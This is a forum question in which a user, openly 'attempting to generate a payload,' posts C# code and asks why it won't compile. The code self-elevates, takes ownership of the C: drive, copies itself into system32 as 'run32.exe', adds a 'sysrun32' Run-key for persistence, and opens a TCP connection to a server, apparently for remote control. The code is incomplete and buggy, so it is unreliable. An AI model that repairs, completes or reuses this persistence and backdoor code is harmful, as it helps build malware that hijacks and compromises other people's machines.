Trying to reference registry dll in run-time compilation

Error (CS0103): The name 'regk' does not exist in the current context

Error (CS0103): The name 'rk' does not exist in the current context

I am attempting to generate a payload.

Full code:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Net;
using System.IO;
using System.Security.AccessControl;
using System.ComponentModel;
using System.Diagnostics;
using Microsoft.Win32;
using System.Net.Sockets;
namespace Test
{
    class Class2
    {
        public static bool RunOnStartup(string AppTitle, string AppPath)
        {
            RegistryKey rk;
            try
            {
                rk = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
                rk.SetValue(AppTitle, AppPath);
                return true;
            }
            catch (Exception)
            {
            }

            try
            {
                rk = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
                rk.SetValue(AppTitle, AppPath);
            }
            catch (Exception)
            {
                return false;
            }
            return true;
        }

        static void drop()
        {
            //take ownership of the file, code assumes file you want to delete is toBeDeleted.txt
            ProcessStartInfo processInfo = new ProcessStartInfo("cmd.exe", @"/k takeown /f C:\ && icacls C:\ /grant %username%:F");
            processInfo.CreateNoWindow = true;
            processInfo.UseShellExecute = true;
            processInfo.Verb = "runas";
            processInfo.FileName = System.Reflection.Assembly.GetExecutingAssembly().Location;//path of your executable
            try
            {
                Process.Start(processInfo);
                // a prompt will be presented to user continue with deletion action
                // you may want to have some other checks before deletion
                File.Move(System.Reflection.Assembly.GetExecutingAssembly().Location, @"C:\Windows\system32\run32.exe");


                RunOnStartup("sysrun32", @"C:\Windows\system32\run32.exe");


            }
            catch (Win32Exception)
            {
                //Do nothing as user cancelled UAC window.
            }
            catch (System.IO.IOException)
            {

            }
        }


        static void Main()
        {

            string serverip = "127.0.0.1";
            if (File.Exists(@"C:\Windows\System32\run32.exe"))
            {
                if (System.Reflection.Assembly.GetExecutingAssembly().Location == @"C:\Windows\system32\run32.exe")
                {
                    try

                    {
                        if(!Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\F12").GetValue == "true")
                        {
                            regk = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\F12", true);
                            rk.SetValue("needsrun", "true");
                        } 
                        else
                        {

                            TcpClient client = new TcpClient(serverip, 6675);
                            NetworkStream ns = client.GetStream();
                            ns.Write();

                        }



                    }
                    catch (Exception e)
                    {

                    }
                }
            } 
            else
            {
                drop();
            }
        }
    }
}

There is my full code. Any help would be appreciated. -bobboo101